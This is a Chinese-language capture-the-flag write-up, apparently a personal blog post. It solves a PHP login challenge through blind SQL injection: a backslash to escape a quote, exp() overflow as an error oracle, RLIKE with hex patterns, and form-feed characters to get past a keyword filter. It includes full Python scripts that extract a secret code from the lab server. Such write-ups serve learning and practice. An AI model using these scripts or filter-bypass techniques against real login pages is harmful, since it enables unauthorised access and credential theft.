这是五月份的题目了,但是一直没写wp,拿出来再水一遍,自己写一遍脚本,顺便总结一下知识点(
解题过程 总览 附件直接给了源码,重点看SQL语句的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 	function  login ($username ,$password ,$code  ) { 		$res  = $this ->conn->query("select * from users where username='$username ' and password='$password '" ); 		if ($this ->conn->error){ 			return  'error' ; 		} 		else { 			$content  = $res ->fetch_array(); 			if ($content ['code' ]===$_POST ['code' ]){ 				$_SESSION ['username' ] = $content ['username' ]; 				return  'success' ; 			} 			else { 				return  'fail' ; 			} 		} 	} }
 
语句直接拼接,很容易想到SQL注入
但是接着往下看,会发现写了waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function  sql_waf ($str  ) {	 	if (preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str )){ 		die ('Hack detected' ); 	} }function  num_waf ($str  ) { 	if (preg_match('/\d{9}|0x[0-9a-f]{9}/i' ,$str )){ 		die ('Huge num detected' ); 	} }function  array_waf ($arr  ) { 	foreach  ($arr  as  $key  => $value ) { 		if (is_array($value )){ 			array_waf($value ); 		} 		else { 			sql_waf($value ); 			num_waf($value ); 		} 	} }
 
sql_waf过滤了一堆语法
num_waf则过滤了大数字
如何注入 先看看究竟过滤了哪些东西
1 2 preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str ) preg_match('/\d{9}|0x[0-9a-f]{9}/i' ,$str )
 
然后把login功能里面的查询语句拿出来单独看看
1 $res  = $this ->conn->query("select * from users where username='$username ' and password='$password '" );
 
单引号过滤了,但是仔细一看没过滤\,构造username=name\可以把后面的单引号转义掉,然后再通过在password里加注释符达到万能密码的效果
不过发现code是单独验证的,所以此处要通过注入来拿到code
溢出注入 顾名思义,通过溢出引发报错来进行注入
虽然preg_match过滤掉了大数字,不过我们仍然可以通过exp函数来进行溢出
exp(pow)返回e的pow次方
 
当exp()的参数大于709时就会造成溢出,报错 
回显login fail 
回显error 
获取code长度 既然exp()的参数大于709就会error,我们可以通过这个特性来获取code的长度。
通过回显来间接得到length(code)的值,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  requestsimport  string url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php" def  getlen ():     for  i in  range (99 ):         payload = "||exp(%d-length(code))#" %(709 +i)         data = {             "username" : "ibuki\\" ,             "password" : payload,             "code" : "1"          }         r = requests.post(url, data=data, allow_redirects=False )         if  not  'fail'  in  r.text:             print ("code len:%d" %(i-1 ))             return  getlen() 
 
运行结果 
得到code长度为23
rlike语句 
在MySQL中,RLIKE运算符用于确定字符串是否匹配正则表达式。它是REGEXP_LIKE()的同义词。 
如果字符串与提供的正则表达式匹配,则结果为1,否则为0。
 
此处我们可以构造password为
1 password=||exp(710 -(code rlike xxx))
 
这样,当rlike语句成功匹配时会返回login fail,否则返回error
关于空格的绕过 
本题可以通过chr(0x0c)绕过                                                   
                                                                                                                ——–by naman
 
单引号过滤 通过binary语法将需要匹配的字符串转成十六进制形式即可
数字大小限制 本题难点之一:不管是十六进制还是十进制数字,都不能达到9位。
十六进制下按两位一个字符来算,也就是一次最多只能匹配四个字符,而code有23位,怎么解决这个问题呢?
先通过构造’^xxx’匹配开头,可以得到开头的前三个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  requestsimport  string url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php"  thelist=string.digits+string.ascii_uppercase+string.ascii_lowercasedef  hexer (str  ):     ret='0x'      for  char in  str :         ret=ret+hex (ord (char))[2 :]     return  retdef  guessstart ():     guess='^'      for  i in  range (3 ):         for  c in  thelist:             payload="||exp(710-(code rlike binary " +hexer(guess+c)+"))#"              payload=payload.replace(' ' ,chr (0x0c ))             data = {                             "username" : "ibuki\\" ,                             "password" : payload,                             "code" : "1"              }             r = requests.post(url,data=data,allow_redirects=False )             if  'fail'  in  r.text:                 guess+=c                 print (guess)                 continue  guessstart()
 
运行结果 
得到前三个字符erg
然后这里的思路是,通过已有的三个字符,加上猜测的第四个字符,来进行匹配。不过稍微想一下就知道:因为只能得知是否匹配成功,不知道匹配成功的位置,所以这种匹配方式可能会出现多解。
这里采用了枚举所有可能性的方法,即将每一步的可能性都存下来分别进行再次匹配,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import  requestsimport  string url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php"  thelist=string.digits+string.ascii_uppercase+string.ascii_lowercasedef  next (str  ):     ret=[]     for  c in  thelist:         payload = "||exp(710-(code rlike binary "  + hexer(str [-3 :] + c) + "))#"          payload = payload.replace(' ' , chr (0x0c ))         data = {             "username" : "ibuki\\" ,             "password" : payload,             "code" : "1"          }         while  True :             r = requests.post(url, data=data, allow_redirects=False )             if  not  ('Too Many Requests'  in  r.text):                 break          if  'fail'  in  r.text:             ret.append(str +c)     return  retdef  getcode ():     allthefates=['erg' ]     for  t in  range (20 ):         nextfates=[]         for  fate in  allthefates:             possibility = next (fate)             for  i in  possibility:                 nextfates.append(i)         allthefates=nextfates         print (allthefates)          getcode()
 
最后得到了三个code,试了一下,第一个就是对的
利用万能密码和code登录后拿到flag
flag{44a15053-28e7-4e08-b076-53ac06b103c1}
感想和总结 当时和naman交流了一下思路之后看他打了一遍,感觉会了
今天自己打一遍发现怎么这么多问题……
比如用python来POST过去的话,换页符不能用%0c只能用chr(0x0c)
比如一开始脚本爆不出来我还以为是我写错了,de了半天bug发现是请求过于频繁429了……
SQL注入的脚本实在是没怎么写过,代码水平属于是很差了
还是得多打点代码锻炼一下